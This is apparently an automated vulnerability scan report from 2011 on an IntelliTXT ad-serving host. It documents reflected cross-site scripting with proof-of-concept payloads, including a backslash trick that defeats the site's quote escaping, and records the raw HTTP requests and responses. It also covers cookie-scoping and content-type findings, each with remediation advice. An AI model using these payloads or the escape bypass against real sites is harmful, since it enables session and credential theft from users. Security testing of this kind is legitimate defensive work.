XSS, Cross Site Scripting, thestreet.us.intellitxt.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Issue remediation

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://thestreet.us.intellitxt.com/intellitxt/front.asp [name of an arbitrarily supplied request parameter] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://thestreet.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 1bad9<script>alert(1)</script>6e86ca26221 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /intellitxt/front.asp?ipid=10685&1bad9<script>alert(1)</script>6e86ca26221=1 HTTP/1.1
Host: thestreet.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.thestreet.com/story/229c029d89d776ed)(sn=*/1/bankatlantic-teams-with-intuit-financial-services-to-launch-8220this-way-to-25k8221-turbotax-for-online-banking-sweepstakes.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA6yAEAAAEthmhrrQA-; VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+c+YAA-; Domain=.intellitxt.com; Expires=Mon, 04-Apr-2011 14:22:36 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Thu, 03 Feb 2011 14:22:36 GMT
Connection: close
Content-Length: 8275

/* This source code is Copyright (c) Vibrant Media 2001-2011 and forms part of the patented Vibrant Media product "IntelliTXT" (sm). */
if('undefined'==typeof $iTXT){var $iTXT={};}if('undefined'==typ
...[SNIP]...
ad();}}};function itxtBegin(){
var itxturl='http://thestreet.us.intellitxt.com/v3/door.jsp?ts='+(new Date()).getTime()+'&pagecl='+itxtbtl()+'&enc='+itxtGCE()+'&fv='+gDFVS()+'&muid='+MUID+'&ipid=10685&1bad9<script>alert(1)</script>6e86ca26221=1';
itxturl+='&seid='+gSEID+'&sest='+gSEST;
if ($iTXT && $iTXT.js && $iTXT.js.ready) {$iTXT.js.load(itxturl);
} else if ($iTXT && $iTXT.js) {$iTXT.js.onload = function() {
$iTXT.js.load(itxturl);
...[SNIP]...

1.2. http://thestreet.us.intellitxt.com/v3/door.jsp [sest parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://thestreet.us.intellitxt.com
Path:	/v3/door.jsp

Issue detail

The value of the sest request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cbce3\'%3balert(1)//470e2868204 was submitted in the sest parameter. This input was echoed as cbce3\\';alert(1)//470e2868204 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.

Remediation detail

Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.

Request

GET /v3/door.jsp?ts=1296742745648&pagecl=2359&enc=&fv=101&muid=&ipid=10685&seid=0&sest=cbce3\'%3balert(1)//470e2868204 HTTP/1.1
Host: thestreet.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.thestreet.com/story/229c029d89d776ed)(sn=*/1/bankatlantic-teams-with-intuit-financial-services-to-launch-8220this-way-to-25k8221-turbotax-for-online-banking-sweepstakes.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+LRYAA-

Response

2. Referer-dependent response previous next
There are 2 instances of this issue:

/intellitxt/front.asp
/v3/door.jsp

Issue description

The application's responses appear to depend systematically on the presence or absence of the Referer header in requests. This behaviour does not necessarily constitute a security vulnerability, and you should investigate the nature of and reason for the differential responses to determine whether a vulnerability is present.

Common explanations for Referer-dependent responses include:

Referer-based access controls, where the application assumes that if you have arrived from one privileged location then you are authorised to access another privileged location. These controls can be trivially defeated by supplying an accepted Referer header in requests for the vulnerable function.
Attempts to prevent cross-site request forgery attacks by verifying that requests to perform privileged actions originated from within the application itself and not from some external location. Such defenses are not robust - methods have existed through which an attacker can forge or mask the Referer header contained within a target user's requests, by leveraging client-side technologies such as Flash and other techniques.
Delivery of Referer-tailored content, such as welcome messages to visitors from specific domains, search-engine optimisation (SEO) techniques, and other ways of tailoring the user's experience. Such behaviours often have no security impact; however, unsafe processing of the Referer header may introduce vulnerabilities such as SQL injection and cross-site scripting. If parts of the document (such as META keywords) are updated based on search engine queries contained in the Referer header, then the application may be vulnerable to persistent code injection attacks, in which search terms are manipulated to cause malicious content to appear in responses served to other application users.

Issue remediation

The Referer header is not a robust foundation on which to build any security measures, such as access controls or defenses against cross-site request forgery. Any such measures should be replaced with more secure alternatives that are not vulnerable to Referer spoofing.

If the contents of responses is updated based on Referer data, then the same defenses against malicious input should be employed here as for any other kinds of user-supplied data.

2.1. http://thestreet.us.intellitxt.com/intellitxt/front.asp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://thestreet.us.intellitxt.com
Path:	/intellitxt/front.asp

Request 1

GET /intellitxt/front.asp?ipid=10685 HTTP/1.1
Host: thestreet.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.thestreet.com/story/229c029d89d776ed)(sn=*/1/bankatlantic-teams-with-intuit-financial-services-to-launch-8220this-way-to-25k8221-turbotax-for-online-banking-sweepstakes.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA6yAEAAAEthmhrrQA-; VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"

Response 1

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+chCQA-; Domain=.intellitxt.com; Expires=Mon, 04-Apr-2011 14:22:29 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Thu, 03 Feb 2011 14:22:29 GMT
Connection: close
Content-Length: 8231

/* This source code is Copyright (c) Vibrant Media 2001-2011 and forms part of the patented Vibrant Media product "IntelliTXT" (sm). */
if('undefined'==typeof $iTXT){var $iTXT={};}if('undefined'==typ
...[SNIP]...
oad();}}};function itxtBegin(){
var itxturl='http://thestreet.us.intellitxt.com/v3/door.jsp?ts='+(new Date()).getTime()+'&pagecl='+itxtbtl()+'&enc='+itxtGCE()+'&fv='+gDFVS()+'&muid='+MUID+'&ipid=10685';
itxturl+='&seid='+gSEID+'&sest='+gSEST;
if ($iTXT && $iTXT.js && $iTXT.js.ready) {$iTXT.js.load(itxturl);
} else if ($iTXT && $iTXT.js) {$iTXT.js.onload = function() {
$iTXT.js.load(itxturl);
}
}$iTXT.frnt.fE = new Date();
itxtDSB('http://images.intellitxt.com/ast/js/vm/pmon_1264075957.js')
}
itxtDSB('http://images.intellitxt.com/ast/js/vm/begin_1270648709.js');
$iTXT.js.loadLibraries();
} else {
itxtDSB('http://thestreet.us.intellitxt.com/al.asp?ipid=10685&ts='+(new Date()).getTime()+'&mt=66&mv=0');
}

Request 2

GET /intellitxt/front.asp?ipid=10685 HTTP/1.1
Host: thestreet.us.intellitxt.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA6yAEAAAEthmhrrQA-; VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"

Response 2

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+crtQA-; Domain=.intellitxt.com; Expires=Mon, 04-Apr-2011 14:22:31 GMT; Path=/
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Type: application/x-javascript
Vary: Accept-Encoding
Date: Thu, 03 Feb 2011 14:22:31 GMT
Connection: close
Content-Length: 8348

/* This source code is Copyright (c) Vibrant Media 2001-2011 and forms part of the patented Vibrant Media product "IntelliTXT" (sm). */
if('undefined'==typeof $iTXT){var $iTXT={};}if('undefined'==typ
...[SNIP]...
oad();}}};function itxtBegin(){
var itxturl='http://thestreet.us.intellitxt.com/v3/door.jsp?ts='+(new Date()).getTime()+'&pagecl='+itxtbtl()+'&enc='+itxtGCE()+'&fv='+gDFVS()+'&muid='+MUID+'&ipid=10685&refurl='+document.location.href.replace(/\&/g,'%26').replace(/\'/g, '%27').replace(/\"/g, '%22').replace(/\#(.)*/,'');
itxturl+='&seid='+gSEID+'&sest='+gSEST;
if ($iTXT && $iTXT.js && $iTXT.js.ready) {$iTXT.js.load(itxturl);
} else if ($iTXT && $iTXT.js) {$iTXT.js.onload = function() {
$iTXT.js.load(itxturl);
}
}$iTXT.frnt.fE = new Date();
itxtDSB('http://images.intellitxt.com/ast/js/vm/pmon_1264075957.js')
}
itxtDSB('http://images.intellitxt.com/ast/js/vm/begin_1270648709.js');
$iTXT.js.loadLibraries();
} else {
itxtDSB('http://thestreet.us.intellitxt.com/al.asp?ipid=10685&ts='+(new Date()).getTime()+'&mt=66&mv=0');
}

2.2. http://thestreet.us.intellitxt.com/v3/door.jsp previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://thestreet.us.intellitxt.com
Path:	/v3/door.jsp

Request 1

GET /v3/door.jsp?ts=1296742745648&pagecl=2359&enc=&fv=101&muid=&ipid=10685&seid=0&sest= HTTP/1.1
Host: thestreet.us.intellitxt.com
Proxy-Connection: keep-alive
Referer: http://www.thestreet.com/story/229c029d89d776ed)(sn=*/1/bankatlantic-teams-with-intuit-financial-services-to-launch-8220this-way-to-25k8221-turbotax-for-online-banking-sweepstakes.html
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+LRYAA-

Response 1

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Content-Type: application/x-javascript;charset=iso-8859-1
Vary: Accept-Encoding
Date: Thu, 03 Feb 2011 14:22:29 GMT
Connection: close
Content-Length: 10400

/* This source code is Copyright (c) Vibrant Media 2001-2011 and forms part of the patented Vibrant Media product "IntelliTXT" (sm). */
try{if('undefined'==typeof $iTXT){var $iTXT={};}$iTXT.door={};if('undefined'!=typeof $iTXT.glob && 'undefined'!=typeof $iTXT.glob.perfMon){$iTXT.glob.perfMon.setEvent('dS');}}catch(x){}var gDgFdb=0;var gBVType='chrome',gBVVersion='80552237',gOSType='windows nt 6';var undefined;if(null==$iTXT.glob.dbParams||undefined==$iTXT.glob.dbParams){$iTXT.glob.dbParams=new $iTXT.data.Param();}$iTXT.glob.dbParams.set('hv','',10);$iTXT.glob.dbParams.set('ul150','font-weight:bold;font-size:100%;text-decoration:none;border-bottom:#95181C 1px dotted;padding-bottom:0px;color:#95181C;background-color:transparent;',10);$iTXT.glob.dbParams.set('ul','',10);$iTXT.glob.dbParams.set('searchengine.ids.yahoo','1',10);$iTXT.glob.dbParams.set('searchengine.fields.bing','q',10);$iTXT.glob.dbParams.set('searchengine.hosts','yahoo,google,aol,ask,live,bing',10);$iTXT.glob.dbParams.set('searchengine.fields.yahoo','p',10);$iTXT.glob.dbParams.set('searchengine.ids.google','3',10);$iTXT.glob.dbParams.set('searchengine.ids.aol','10',10);$iTXT.glob.dbParams.set('searchengine.fields.ask','q',10);$iTXT.glob.dbParams.set('searchengine.fields.aol','query,as_q,q',10);$iTXT.glob.dbParams.set('searchengine.ids.ask','12',10);$iTXT.glob.dbParams.set('searchengine.fields.google','q,as_q',10);$iTXT.glob.dbParams.set('searchengine.ids.bing','14',10);$iTXT.glob.dbParams.set('searchengine.ids.live','14',10);$iTXT.glob.dbParams.set('searchengine.fields.live','q',10);var undefined;if(null==$iTXT.glob.dbgParams||undefined==$iTXT.glob.dbgParams){$iTXT.glob.dbgParams=new $iTXT.data.Param($iTXT.glob.dbParams);}var undefined;if(null==$iTXT.glob.params||undefined==$iTXT.glob.params){$iTXT.glob.params=new $iTXT.data.Param($iTXT.glob.dbgParams);}$iTXT.glob.params.set('cts',"1",40);$iTXT.glob.params.set('iso',0,40);$iTXT.glob.params.set('rcadbgclr',"#999999",40);$iTXT.glob.params.set('ipid',"10
...[SNIP]...

Request 2

GET /v3/door.jsp?ts=1296742745648&pagecl=2359&enc=&fv=101&muid=&ipid=10685&seid=0&sest= HTTP/1.1
Host: thestreet.us.intellitxt.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+LRYAA-

Response 2

3. Cookie scoped to parent domain previous next
There are 2 instances of this issue:

/al.asp
/intellitxt/front.asp

Issue background

A cookie's domain attribute determines which domains can access the cookie. Browsers will automatically submit the cookie in requests to in-scope domains, and those domains will also be able to access the cookie via JavaScript. If a cookie is scoped to a parent domain, then that cookie will be accessible by the parent domain and also by any other subdomains of the parent domain. If the cookie contains sensitive data (such as a session token) then this data may be accessible by less trusted or less secure applications residing at those domains, leading to a security compromise.

Issue remediation

By default, cookies are scoped to the issuing domain and all subdomains. If you remove the explicit domain attribute from your Set-cookie directive, then the cookie will have this default scope, which is safe and appropriate in most situations. If you particularly need a cookie to be accessible by a parent domain, then you should thoroughly review the security of the applications residing on that domain and its subdomains, and confirm that you are willing to trust the people and systems which support those applications.

3.1. http://thestreet.us.intellitxt.com/al.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://thestreet.us.intellitxt.com
Path:	/al.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+LRYAA-; Domain=.intellitxt.com; Expires=Mon, 04-Apr-2011 14:22:30 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /al.asp?ipid=10685&ts= HTTP/1.1
Host: thestreet.us.intellitxt.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+LRYAA-; VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY";

Response

HTTP/1.1 400 Bad Request
Server: Apache-Coyote/1.1
Cache-Control: private
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
P3P: CP="NON DSP CURa ADMa DEVa TAIa PSAa PSDa OUR IND UNI COM NAV INT DEM CNT STA PRE LOC"
Set-Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+LRYAA-; Domain=.intellitxt.com; Expires=Mon, 04-Apr-2011 14:22:30 GMT; Path=/
Content-Type: text/html;charset=utf-8
Content-Length: 1019
Date: Thu, 03 Feb 2011 14:22:29 GMT
Connection: close

<html><head><title>Apache Tomcat/6.0.29 - Error report</title><style><!--H1 {font-family:Tahoma,Arial,sans-serif;color:white;background-color:#525D76;font-size:22px;} H2 {font-family:Tahoma,Arial,sans
...[SNIP]...

3.2. http://thestreet.us.intellitxt.com/intellitxt/front.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://thestreet.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+LRYAA-; Domain=.intellitxt.com; Expires=Mon, 04-Apr-2011 14:17:46 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

4. Cookie without HttpOnly flag set previous next
There are 2 instances of this issue:

/al.asp
/intellitxt/front.asp

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

4.1. http://thestreet.us.intellitxt.com/al.asp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://thestreet.us.intellitxt.com
Path:	/al.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+LRYAA-; Domain=.intellitxt.com; Expires=Mon, 04-Apr-2011 14:22:30 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

4.2. http://thestreet.us.intellitxt.com/intellitxt/front.asp previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://thestreet.us.intellitxt.com
Path:	/intellitxt/front.asp

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+LRYAA-; Domain=.intellitxt.com; Expires=Mon, 04-Apr-2011 14:17:46 GMT; Path=/

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

5. Content type incorrectly stated previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://thestreet.us.intellitxt.com
Path:	/v3/door.jsp

Issue detail

The response contains the following Content-type statement:

Content-Type: application/x-javascript

The response states that it contains script. However, it actually appears to contain plain text.

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /v3/door.jsp HTTP/1.1
Host: thestreet.us.intellitxt.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+LRYAA-; VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY";

Response

6. Content type is not specified previous

Summary

Severity:	Information
Confidence:	Certain
Host:	http://thestreet.us.intellitxt.com
Path:	/favicon.ico

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

Request

GET /favicon.ico HTTP/1.1
Host: thestreet.us.intellitxt.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: VM_PIX="AQAAAAEAAAQVAQAAAAEAAAEtqga0igAAAAAy/bdY"; VM_USR=AEzVm3phPEGhmHnIrJhIDIAAADqMAAA63AEAAAEt6+c+YAA-

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Accept-Ranges: bytes
ETag: W/"3638-1296583015000"
Last-Modified: Tue, 01 Feb 2011 17:56:55 GMT
Content-Length: 3638
Date: Thu, 03 Feb 2011 14:24:29 GMT
Connection: close

..............h...&... ..............(....... ...........@...........................B...yK3...........l.[&......}...ytU.........X...........T.n.....|...i:...^F.g...=...[........w].............u.....
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Fri Feb 04 13:08:32 CST 2011.